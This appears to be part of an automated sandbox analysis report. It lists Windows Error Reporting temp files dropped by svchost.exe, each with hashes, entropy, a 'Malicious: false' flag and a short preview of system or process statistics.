C:\ProgramData\Microsoft\Windows\WER\Temp\WER7B3D.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6950649321484312
Encrypted:	false
SSDEEP:	96:TiZYWDw9dDYTYdKhR6HCYEZD7jtFi2MSSXw/eM/ahnVMhY1nIgem:2ZDoECeC+ahnVMhYqgem
MD5:	9396D43D96E9CDC496ABBB56966B7B39
SHA1:	F69EC97111E450915F1B9BFFE34B074455D3724E
SHA-256:	8BE41A20B7B0F6096ADD03345D1BE75CBDCD6B0FF97676D3192EC00F7B213267
SHA-512:	F130499065021AC648DAC99B10CA15CE2C60F8AF070E7AA59A629029C9A5EAFC5164D8C1AF537C7E5E502AA706D869F27B9EBF955BECC874F1E5D90ECDF29902
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7E6.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	101418
Entropy (8bit):	3.0683149413085444
Encrypted:	false
SSDEEP:	3072:E1JHzWL7DRjQ1ro27iC7+RY05+Zj/ItqJM6O4EuWLUmhke9BmSgvY:X
MD5:	E7771134B77578EAEFB29E02FE50D098
SHA1:	B7A410752D91FD158FCEF7E53CF030CF86F7263A
SHA-256:	F3C13656E33AECE60EB73C288C969325698F37E8875C2F15DB8F5834A6040462
SHA-512:	1B022F7D2D6E3B58A907F61D9A49AE49013A7CDB09C51EF156D9A47A0EA94F70A752D9C08A56CA9A443A274705C211E0EE60A612F78C6104F98C5394659F2D3F
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8204.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	95656
Entropy (8bit):	3.0724648915226114
Encrypted:	false
SSDEEP:	1536:ArzDog9iIjjGCUR2aWiz67+RY05+Zj/q5cMGaBB91RAUKGYpXiGI1V4:ArzDog9iIjjGCUR2aWiz67+RY05+Zj/x
MD5:	AC6F374D71874FDD82389184B771B815
SHA1:	3DDC46258D0844140360BC82EC1E1DE87F5D1CFE
SHA-256:	2C0C6318AFFA344D71AFABBF7AFEDB2F1DF5AFB4317D1D0317162FDD5A3F163F
SHA-512:	42391E164F030C41AC61D0003241E69B1982C6DBCF1B2807F516F1D2D58B12D31762A3CB6830FD940F58D71DEA739CF83B6C9F4258D90BA055B235E853B70B4D
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER835.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	101696
Entropy (8bit):	3.067990705355698
Encrypted:	false
SSDEEP:	3072:m1bHzWa7QRjs2ro27if7+RY05+Zj/ItqCM6O4ruWLOmPBQ9QmgBcy0:i
MD5:	190A7B494F78D4C0AAD7133D9721A590
SHA1:	C2E7083672D65B5BD2E16803764E9DF18B3190A5
SHA-256:	E2D8F294D131E234BABFF7B1645CBA7541402B98019CF66D6B5C515B0EDBA583
SHA-512:	08FE5577D0458451DD08DFF7ADF5DA6F6734B5A4C5BA1E6FBD648B18140670C89FC712E5EB3F56B833E0C9A31404B4AD70424D1655A74D1E811B6B7EC0DED46F
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8409.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	95680
Entropy (8bit):	3.0724987174484006
Encrypted:	false
SSDEEP:	1536:bEzDoR9iIAjGCUR2aWisg7+RY05+Zj/q5c2Z7B91RAUd1YucC1nFAeT:bEzDoR9iIAjGCUR2aWisg7+RY05+Zj/A
MD5:	22899D8B30030F900195D032CB8993FB
SHA1:	90E81E7665FA1B18F4C7C78226FD0BC7FAD6B25E
SHA-256:	D8013CD1AEC1486DE32C0FDF197FC45297C197B588CBFC8FF524057719F9817C
SHA-512:	E1168B9F24FED2D0522377AB8EC3D1721DB525BD0DE1F6F8A32D26D86AB117C94A58BC62566A06E4B26A0D76790F855B213ACA96BE0A7F23132681BEEC768315
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER85DF.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	95720
Entropy (8bit):	3.0729691874993597
Encrypted:	false
SSDEEP:	1536:VAqDop91IZjGCUR2aWiKg7+RY05+Zj/q5c8q0BxRAUdhYlobh1nFF2:VAqDop91IZjGCUR2aWiKg7+RY05+Zj/5
MD5:	CD37D9F482FF95B52B6922419D2F59D3
SHA1:	171F9B8FBE8B265918684C12F7C1685673EF017E
SHA-256:	F2A1510F419430A2B039D27A9BA99C3985BCF8AD9104D16B81B5CA187200FA89
SHA-512:	AB1CC286E1786F2C9B6010F7FAAD4BA5423A4324AA65C904F37BA8DF129BC806533D5EE29726B127A2B8A8EF484EE7014BE663051C8160E24453D5B62CC6C9A9
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8728.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6962246099530165
Encrypted:	false
SSDEEP:	96:TiZYWCyuQo2MPYVYccydtKUHgYEZqCtFiQM0STw1eSbKDa/nHMGYfINer:2ZDjci1rVDa/nHMGYwNer
MD5:	1B6B594D8D775C61BF74C83D471BEFAC
SHA1:	C8F1F5C4D2A185CE6640564746E3E1C73B773654
SHA-256:	BE657A19B21611186580BEE1ABCD64120A18F2852B8F75325C37DC3AB21C6A90
SHA-512:	AD49B8D7995BEF5A05B80DA2D92790930BBDBEC2B31A40DD50943449D34FA8E28EBBBC8D91D461437DB6F3581467F23114A35292D08F50C4B7038B866D961436
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8729.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6961670830573072
Encrypted:	false
SSDEEP:	96:TiZYW/yRAMXYJYBdbXzHgYEZO1tFi/MhSTwLenjaYnr6MEYrbIBerD:2ZD6uOjGjaYnmMEYIBeH
MD5:	4D8D520B02F7ABD6AAC1500174A4513D
SHA1:	39FAA9BDBE1F2F766645BCC7FB40B8EAEFF2FC9F
SHA-256:	D597E2A83BD215DA1FB05C0C4296E4F43A1E98183DBEC936A0B28CE20E643B1E
SHA-512:	522EB63348F53119828345CDF31DD7C7C5F6CC3C928DB757E545765E40DD49956F09B3D27CDE6FE4B5D3BCD4E041045B3E2FF7F8362D438272CF238F770607C0
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8739.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.696094573382934
Encrypted:	false
SSDEEP:	96:TiZYWNy3QA2MvYwY+dpK/HgYEZSEtFinM0STwAenza2nVMMYYfIYer:2ZDNEHiTza2nmMYYwYer
MD5:	68CB75AE446C50982F8E547CC16BA276
SHA1:	CED8BA4ECF10950EE57B6868B676FF4C0CDC6B4E
SHA-256:	959501F6DDA2D2C1D514DE00D35404BF0E55698E72D10B8285766A0AB9FA4AEE
SHA-512:	7A55FA41A79FAF5051B1B1BA250AB8C3BDEC30FFA49187906BD5B90B99C660A8AB6434DE9CBE8FEBF2B79DAD68A7C965B02AB8F6C8E85C2E8FBA181B22996D01
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8A3.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.69930848287112
Encrypted:	false
SSDEEP:	96:TiZYWWiHI64qeYGY3hBoHoYEZGPCtFiw+oSLw0vesRa/nBMaYRI6eG:2ZDWpBdPJPa/nBMaYO6eG
MD5:	9C9F6D06006186C8878154F3238E9AC6
SHA1:	B50EBB15FFED1322B564253EE02BE92B6DF6A16C
SHA-256:	1344AC7150851F40C007654455F0D297EF8D84D6EEE3C12ECD7B8995C4C2FA37
SHA-512:	CB2B260290F11BF4354E6EB1AAC6F5E04C21530D5B263A95B219663E38533127B2C827AC668341AD08252E22E3D2582ED02E2A857544AD8A795E34E1BD724420
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8B90.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	94100
Entropy (8bit):	3.07267657577292
Encrypted:	false
SSDEEP:	1536:i/DOD6hIY5vj5CjR2aWWzmo7+RY05+Zj/q5cPHqBtRAU6zY2cP:i/DOD6hIY5vj5CjR2aWWzmo7+RY05+Z6
MD5:	F1D5AD8FD79C604D19D79321992BC8D2
SHA1:	6AF6243AF8C0E6EE5C7105C30CD6E13312B964C7
SHA-256:	9EFCF19E3F0BF54996D36AB6DA3B06F250AED7F9BCBD82B75A473BE45FAAD1DD
SHA-512:	DCBBEE085E22DA9A2326ABCC5CC914E6FDC6C936D4092FB75189535A5A69C8D148F871EA17C671B8F81A1340850A5D50D4002B2A406458C741A9646C21BB58CF
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8BFE.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	94104
Entropy (8bit):	3.072660367951879
Encrypted:	false
SSDEEP:	1536:13DDDKAEY5Ij5CjR2aWWzk07+RY05+Zj/q5cBGB0RAUpBYq1NE:13DDDKAEY5Ij5CjR2aWWzk07+RY05+ZO
MD5:	8F19FC34598BAC8B40F76BF6FCB034C3
SHA1:	9A764F26673997B145A39125A502DC6850923191
SHA-256:	EC57B7F403AE4D58DB056FA661C36E33971B8A32E39E4C423F3B088B9B28A521
SHA-512:	5E00255213C46EBD47BF2B4BE737125D797450B5EB842405FE01349231F7B3285BA3416246562C372F041FE9219DFA933C2716C91B7C27A3D744788E655BB56B
Malicious:	false
